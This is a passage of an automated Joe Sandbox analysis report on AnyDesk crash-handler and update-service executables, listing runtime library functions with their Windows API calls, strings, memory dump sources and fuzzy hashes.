Instruction Fuzzy Hash: BB129362E0E143C6FF607A15D15627AF6A1EB40754FCE4075E789866E8DF3CE48ACB20

Function 00007FF7AA9558FC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryExW.KERNEL32 ref: 00007FF7AA955981
GetLastError.KERNEL32 ref: 00007FF7AA95598F
LoadLibraryExW.KERNEL32 ref: 00007FF7AA9559B9
FreeLibrary.KERNEL32 ref: 00007FF7AA955A27
GetProcAddress.KERNEL32 ref: 00007FF7AA955A33

Strings

api-ms-, xrefs: 00007FF7AA9559A1

Memory Dump Source

Source File: 00000007.00000002.2223983686.00007FF7AA951000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FF7AA950000, based on PE: true

Associated: 00000007.00000002.2223960740.00007FF7AA950000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA96C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224096573.00007FF7AA973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224128280.00007FF7AA974000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7aa950000_AnyDeskCrashHandler.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: ed90df822e7d59495b79f906fc16800e7d9b52045c0eb292820e9cf29d7ca3ef
Instruction ID: 1a98ad1b83d9aa5aa302997cd05f2e6ef6ebb35d459c89aa5a8f4a0742be5eeb
Opcode Fuzzy Hash: ed90df822e7d59495b79f906fc16800e7d9b52045c0eb292820e9cf29d7ca3ef
Instruction Fuzzy Hash: 9031C421A1B643C1FE11AB12A4521B5A394BF14BA0FDB0579DD2D873A5EF3CE44A8320

Function 00007FF7AA958700 Relevance: 10.6, APIs: 7, Instructions: 62
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00007FF7AA95870F
FlsGetValue.KERNEL32 ref: 00007FF7AA958724
FlsSetValue.KERNEL32 ref: 00007FF7AA958745
FlsSetValue.KERNEL32 ref: 00007FF7AA958772
FlsSetValue.KERNEL32 ref: 00007FF7AA958783
FlsSetValue.KERNEL32 ref: 00007FF7AA958794
SetLastError.KERNEL32 ref: 00007FF7AA9587AF

Memory Dump Source

Source File: 00000007.00000002.2223983686.00007FF7AA951000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FF7AA950000, based on PE: true

Associated: 00000007.00000002.2223960740.00007FF7AA950000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA96C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224096573.00007FF7AA973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224128280.00007FF7AA974000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7aa950000_AnyDeskCrashHandler.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 8b63ef19f9df0f4c288cac1842f9729c2262ba617c372d28031ee4c08f10457d
Instruction ID: d1176403e14dc790e1911e2910592353ca4865db39465e78f9e46acc0a0ddbc2
Opcode Fuzzy Hash: 8b63ef19f9df0f4c288cac1842f9729c2262ba617c372d28031ee4c08f10457d
Instruction Fuzzy Hash: E621CC20A0F24BC2FE1473615547139E2425F447F0FD686B1E93EC6AF6EE2CA40B9722

Function 00007FF7AA95EF9C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteConsoleW.KERNEL32 ref: 00007FF7AA95EFCD
GetLastError.KERNEL32 ref: 00007FF7AA95EFD9
CloseHandle.KERNEL32 ref: 00007FF7AA95EFF1
CreateFileW.KERNEL32 ref: 00007FF7AA95F01C
WriteConsoleW.KERNEL32 ref: 00007FF7AA95F03B

Strings

CONOUT$, xrefs: 00007FF7AA95EFFD

Memory Dump Source

Source File: 00000007.00000002.2223983686.00007FF7AA951000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FF7AA950000, based on PE: true

Associated: 00000007.00000002.2223960740.00007FF7AA950000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA96C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224096573.00007FF7AA973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224128280.00007FF7AA974000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7aa950000_AnyDeskCrashHandler.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: da70c63ec7be9f21d8993bfcef2884285bdc39009cb66d938cb2b7c8fc8294fa
Instruction ID: 291e5e99b4dc0b5d500fc500fec08b347d24fc2e28b5954435a2ca5a45a7e0d8
Opcode Fuzzy Hash: da70c63ec7be9f21d8993bfcef2884285bdc39009cb66d938cb2b7c8fc8294fa
Instruction Fuzzy Hash: 6E11A231A19A82C2F7509B52A854325B2A0BF48BE4F950274E91DC37A4CF3CD8058711

Function 00007FF7AA958878 Relevance: 9.1, APIs: 6, Instructions: 57
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 00007FF7AA958887
FlsSetValue.KERNEL32(?,?,?,00007FF7AA95828D,?,?,?,?,00007FF7AA958B70), ref: 00007FF7AA9588BD
FlsSetValue.KERNEL32(?,?,?,00007FF7AA95828D,?,?,?,?,00007FF7AA958B70), ref: 00007FF7AA9588EA
FlsSetValue.KERNEL32(?,?,?,00007FF7AA95828D,?,?,?,?,00007FF7AA958B70), ref: 00007FF7AA9588FB
FlsSetValue.KERNEL32(?,?,?,00007FF7AA95828D,?,?,?,?,00007FF7AA958B70), ref: 00007FF7AA95890C
SetLastError.KERNEL32 ref: 00007FF7AA958927

Memory Dump Source

Source File: 00000007.00000002.2223983686.00007FF7AA951000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FF7AA950000, based on PE: true

Associated: 00000007.00000002.2223960740.00007FF7AA950000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA96C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224096573.00007FF7AA973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224128280.00007FF7AA974000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7aa950000_AnyDeskCrashHandler.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: afbb12fcad02bafca9b27522c9550e3d77d0b2974f4a39fa0265fdc4056edb3d
Instruction ID: 066671652f8030f9fc8f049bcc4ddf1a999aa43d320c58c67d4887451c0f9a5e
Opcode Fuzzy Hash: afbb12fcad02bafca9b27522c9550e3d77d0b2974f4a39fa0265fdc4056edb3d
Instruction Fuzzy Hash: 5611C220A0F247C1FE5873615556139E1429F443B0FD687B5E93E8A6F6EE2CA40B9322

Function 00007FF7AA955E84 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF7AA955EA9
GetProcAddress.KERNEL32 ref: 00007FF7AA955EBF
FreeLibrary.KERNEL32 ref: 00007FF7AA955EE6

Strings

CorExitProcess, xrefs: 00007FF7AA955EB8
mscoree.dll, xrefs: 00007FF7AA955EA0

Memory Dump Source

Source File: 00000007.00000002.2223983686.00007FF7AA951000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FF7AA950000, based on PE: true

Associated: 00000007.00000002.2223960740.00007FF7AA950000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA96C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224096573.00007FF7AA973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224128280.00007FF7AA974000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7aa950000_AnyDeskCrashHandler.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: dde18a94b78ce4f69966671a220012215f8160dd9c9082df2a2d100cd24f7ecd
Instruction ID: 114c7661bb39951acd1e7270dfdb6b344edf3f790cf778e626caf87c247ddf28
Opcode Fuzzy Hash: dde18a94b78ce4f69966671a220012215f8160dd9c9082df2a2d100cd24f7ecd
Instruction Fuzzy Hash: B9F0C261B1A606C2FF10AB25E855339E320EF487A0FA20279C56DC62F4DF2CD44AC321

Function 00007FF7AA95F2EC Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF7AA95F314
_set_statfp.LIBCMT ref: 00007FF7AA95F32F
_set_statfp.LIBCMT ref: 00007FF7AA95F34B
_set_statfp.LIBCMT ref: 00007FF7AA95F387

Memory Dump Source

Source File: 00000007.00000002.2223983686.00007FF7AA951000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FF7AA950000, based on PE: true

Associated: 00000007.00000002.2223960740.00007FF7AA950000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA96C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224096573.00007FF7AA973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224128280.00007FF7AA974000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7aa950000_AnyDeskCrashHandler.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 42c32d3acaf94be8bf6c9fa5576b7a947ae4a2e90c63d94789f449aabdcb8345
Instruction ID: 1f7f7934e9032faea60c759d8360c73f04d4a5a17f1c593a64534b3b958131e1
Opcode Fuzzy Hash: 42c32d3acaf94be8bf6c9fa5576b7a947ae4a2e90c63d94789f449aabdcb8345
Instruction Fuzzy Hash: 46113322D1BB03D1FF6C3528D44737991416F553B0E8A06B4E56DC62FAAE3CA94F4361

Function 00007FF7AA958940 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF7AA9568F3,?,?,00000000,00007FF7AA956B8E,?,?,?,?,?,00007FF7AA956B1A), ref: 00007FF7AA95895F
FlsSetValue.KERNEL32(?,?,?,00007FF7AA9568F3,?,?,00000000,00007FF7AA956B8E,?,?,?,?,?,00007FF7AA956B1A), ref: 00007FF7AA95897E
FlsSetValue.KERNEL32(?,?,?,00007FF7AA9568F3,?,?,00000000,00007FF7AA956B8E,?,?,?,?,?,00007FF7AA956B1A), ref: 00007FF7AA9589A6
FlsSetValue.KERNEL32(?,?,?,00007FF7AA9568F3,?,?,00000000,00007FF7AA956B8E,?,?,?,?,?,00007FF7AA956B1A), ref: 00007FF7AA9589B7
FlsSetValue.KERNEL32(?,?,?,00007FF7AA9568F3,?,?,00000000,00007FF7AA956B8E,?,?,?,?,?,00007FF7AA956B1A), ref: 00007FF7AA9589C8

Memory Dump Source

Source File: 00000007.00000002.2223983686.00007FF7AA951000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FF7AA950000, based on PE: true

Associated: 00000007.00000002.2223960740.00007FF7AA950000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA96C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224096573.00007FF7AA973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224128280.00007FF7AA974000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7aa950000_AnyDeskCrashHandler.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 0f9621ba38eac4d4c9221c1909a7449da67151443a31084acbc08cdd0f3ab668
Instruction ID: 5b481c268d35e1926468e0121f026054a561858b1b1738780b3e54fe7850d552
Opcode Fuzzy Hash: 0f9621ba38eac4d4c9221c1909a7449da67151443a31084acbc08cdd0f3ab668
Instruction Fuzzy Hash: 47115E20A0F24BC1FD5473655563179E1415F843B0E9683B5E86E86AE6EE2CA40B9723

Function 00007FF7AA9587D4 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF7AA9587E5
FlsSetValue.KERNEL32 ref: 00007FF7AA958804
FlsSetValue.KERNEL32 ref: 00007FF7AA95882C
FlsSetValue.KERNEL32 ref: 00007FF7AA95883D
FlsSetValue.KERNEL32 ref: 00007FF7AA95884E

Memory Dump Source

Source File: 00000007.00000002.2223983686.00007FF7AA951000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FF7AA950000, based on PE: true

Associated: 00000007.00000002.2223960740.00007FF7AA950000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA96C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224096573.00007FF7AA973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224128280.00007FF7AA974000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7aa950000_AnyDeskCrashHandler.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: f6039cc51b31b971df3d7eac73341f43604306b93230684e8f15fcec3a0ebfc6
Instruction ID: 2892654dce70bb1fe8e8b4d073b08becb2a5cc16f6f73291f3275b32df124a25
Opcode Fuzzy Hash: f6039cc51b31b971df3d7eac73341f43604306b93230684e8f15fcec3a0ebfc6
Instruction Fuzzy Hash: 99113A10E0F20BC5FD58B261441317991418F40374EDA87B5EA3EC92F2ED2CB40BA322

Function 00007FF7AA953DFC Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7AA953E27
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF7AA953EBE
RtlUnwindEx.KERNEL32 ref: 00007FF7AA953F18

Strings

csm, xrefs: 00007FF7AA953EA5

Memory Dump Source

Source File: 00000007.00000002.2223983686.00007FF7AA951000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FF7AA950000, based on PE: true

Associated: 00000007.00000002.2223960740.00007FF7AA950000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA96C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224096573.00007FF7AA973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224128280.00007FF7AA974000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7aa950000_AnyDeskCrashHandler.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: 9ec0b71a165466a9c67599c9ab78e621c696c82d4bac01c73983b7531b60d568
Instruction ID: b9295a5c9e4ad42a1e7329f2f46c93e35780cf3b2dbc715bac204455fe254132
Opcode Fuzzy Hash: 9ec0b71a165466a9c67599c9ab78e621c696c82d4bac01c73983b7531b60d568
Instruction Fuzzy Hash: B551E321B1A913CAFF14AB15D455A3AB3A5EB44B84F924075EE4E83394DF3CE8468710

Function 00007FF7AA954B58 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL ref: 00007FF7AA954BB7
_CallSETranslator.LIBVCRUNTIME ref: 00007FF7AA954C03

Strings

MOC, xrefs: 00007FF7AA954BCB
RCC, xrefs: 00007FF7AA954BD3

Memory Dump Source

Source File: 00000007.00000002.2223983686.00007FF7AA951000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FF7AA950000, based on PE: true

Associated: 00000007.00000002.2223960740.00007FF7AA950000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA96C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224096573.00007FF7AA973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224128280.00007FF7AA974000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7aa950000_AnyDeskCrashHandler.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 582590e0508bbd1300525430ea8ab693eb7a7b7207769477c28eb59a10e6996e
Instruction ID: c202a010b0c16fc7a1f86aca0cb4d4277fe578d48b4c222a7f2bbbf4a4bed4cb
Opcode Fuzzy Hash: 582590e0508bbd1300525430ea8ab693eb7a7b7207769477c28eb59a10e6996e
Instruction Fuzzy Hash: 2F61C232909BC6C1EBA0AB15E0413AAF7A5FBC5784F454265EB8C43B69DF7CE095CB10

Function 00007FF7AA954F08 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7AA954F30
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00007FF7AA955018

Strings

csm, xrefs: 00007FF7AA954F52
csm, xrefs: 00007FF7AA95506A

Memory Dump Source

Source File: 00000007.00000002.2223983686.00007FF7AA951000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FF7AA950000, based on PE: true

Associated: 00000007.00000002.2223960740.00007FF7AA950000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA96C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224096573.00007FF7AA973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224128280.00007FF7AA974000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7aa950000_AnyDeskCrashHandler.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 78f3bdf085cd92ad20dc991ed7b11ee6dea2a72f9a24a56b215421e1564ee266
Instruction ID: 4002d0d2cd2977885b8e9d5c76c6b3fe10261f4ecd7884922e14091b26380dba
Opcode Fuzzy Hash: 78f3bdf085cd92ad20dc991ed7b11ee6dea2a72f9a24a56b215421e1564ee266
Instruction Fuzzy Hash: 6051D132909243C6FF60AE25D056378B790EB40B84F9681B9DA4DC7BA2CF3DE45AC711

Function 00007FF7AA95D540 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00007FF7AA95D5BF
WriteFile.KERNEL32 ref: 00007FF7AA95D887
WriteFile.KERNEL32 ref: 00007FF7AA95D8CD
GetLastError.KERNEL32 ref: 00007FF7AA95D983

Memory Dump Source

Source File: 00000007.00000002.2223983686.00007FF7AA951000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FF7AA950000, based on PE: true

Associated: 00000007.00000002.2223960740.00007FF7AA950000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA96C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224096573.00007FF7AA973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224128280.00007FF7AA974000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7aa950000_AnyDeskCrashHandler.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: d3fb5c5a4305f20a5b910567b94ca3d6b86f08d4eb07c482a73a96056ee82046
Instruction ID: 0c674fd47f96bfe1200f47a63550f0094395b470ce58687d31e0d385174c168b
Opcode Fuzzy Hash: d3fb5c5a4305f20a5b910567b94ca3d6b86f08d4eb07c482a73a96056ee82046
Instruction Fuzzy Hash: DDD1F432B0AA42C9FB11DF65D4402ACB7B1FB45B98B854276CE5D97BA9DE38D40BC310

Function 00007FF7AA95DE68 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00007FF7AA95DF84
GetLastError.KERNEL32 ref: 00007FF7AA95E00F

Memory Dump Source

Source File: 00000007.00000002.2223983686.00007FF7AA951000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FF7AA950000, based on PE: true

Associated: 00000007.00000002.2223960740.00007FF7AA950000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA96C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224096573.00007FF7AA973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224128280.00007FF7AA974000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7aa950000_AnyDeskCrashHandler.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 32c044946483f12e34c0aebddd6752e03576959c90d964923d4dff6157d46c7f
Instruction ID: b3af552ce4f1a8a1c87b8d571dc7eec89d5d77f1b3590eef627ff48b5d7dfda6
Opcode Fuzzy Hash: 32c044946483f12e34c0aebddd6752e03576959c90d964923d4dff6157d46c7f
Instruction Fuzzy Hash: 3F91E472E09653C5FB50EB7584812BDABA0AB04788F9541BADE0E936A4CF3DD44BC721

Function 00007FF7AA952E74 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7AA952EA0
GetCurrentThreadId.KERNEL32 ref: 00007FF7AA952EAE
GetCurrentProcessId.KERNEL32 ref: 00007FF7AA952EBA
QueryPerformanceCounter.KERNEL32 ref: 00007FF7AA952ECA

Memory Dump Source

Source File: 00000007.00000002.2223983686.00007FF7AA951000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FF7AA950000, based on PE: true

Associated: 00000007.00000002.2223960740.00007FF7AA950000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA96C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224096573.00007FF7AA973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224128280.00007FF7AA974000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7aa950000_AnyDeskCrashHandler.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 9a9e087552f48f16067c4e9381aaf7e9c0349c56c42918a85502eba34d99e3bf
Instruction ID: b5d888d8c8a741f9f61dc8b7ccd28a47d3fcc18cd0bad42f5b5a14349f1f3f85
Opcode Fuzzy Hash: 9a9e087552f48f16067c4e9381aaf7e9c0349c56c42918a85502eba34d99e3bf
Instruction Fuzzy Hash: 72114822B19B41CAFF009F60E8542B873A4FB18758F851E31EA2D837A4DF38D1598350

Function 00007FF7AA95DBD8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF7AA95DCEF
GetLastError.KERNEL32 ref: 00007FF7AA95DD11

Strings

U, xrefs: 00007FF7AA95DC9B

Memory Dump Source

Source File: 00000007.00000002.2223983686.00007FF7AA951000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FF7AA950000, based on PE: true

Associated: 00000007.00000002.2223960740.00007FF7AA950000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA96C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224096573.00007FF7AA973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224128280.00007FF7AA974000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7aa950000_AnyDeskCrashHandler.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 6d23fd177495eb1cf3c6af8b1d658aefedd24363c73960ae3563ba64990bfd83
Instruction ID: abf385d4fba434087b506ef480a8f19aebb53c598e750bccb40846a7bb7ae86a
Opcode Fuzzy Hash: 6d23fd177495eb1cf3c6af8b1d658aefedd24363c73960ae3563ba64990bfd83
Instruction Fuzzy Hash: A941B422B1AA42C1EB20DF65E4453A9B7A0FB98794F924032EE4DC7768DF7CD446C750

Function 00007FF7AA953D54 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.KERNEL32 ref: 00007FF7AA953DA4
RaiseException.KERNEL32 ref: 00007FF7AA953DE5

Strings

csm, xrefs: 00007FF7AA953DD2

Memory Dump Source

Source File: 00000007.00000002.2223983686.00007FF7AA951000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FF7AA950000, based on PE: true

Associated: 00000007.00000002.2223960740.00007FF7AA950000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA96C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2223983686.00007FF7AA972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224096573.00007FF7AA973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2224128280.00007FF7AA974000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ff7aa950000_AnyDeskCrashHandler.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 4316c429adb968347ab1774c5765e22e2dafea5f83a08b0f330515f8cecce910
Instruction ID: f5bd8d87036b85b8c116a3a80cb4045f8b855ef286e3834d5ce76efb8a94cb77
Opcode Fuzzy Hash: 4316c429adb968347ab1774c5765e22e2dafea5f83a08b0f330515f8cecce910
Instruction Fuzzy Hash: B4116D32609B8182EB609F15F41026AB7E4FB88B84F994271EF8C47768DF3CC5568B00

Analysis Process: AnyDeskUpdateService.exePID: 2976, Parent PID: 6996COMMON

Execution Graph

Execution Coverage:	8.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	943
Total number of Limit Nodes:	50

Executed Functions

Function 00007FF71DD82840 Relevance: 92.7, APIs: 16, Strings: 35, Instructions: 3486
filestringsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesW.KERNEL32 ref: 00007FF71DD82D6D

Part of subcall function 00007FF71DD8FCD0: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF71DD8FE0C

GetFileAttributesW.KERNEL32 ref: 00007FF71DD84ADF
InternetCloseHandle.WININET ref: 00007FF71DD8507B

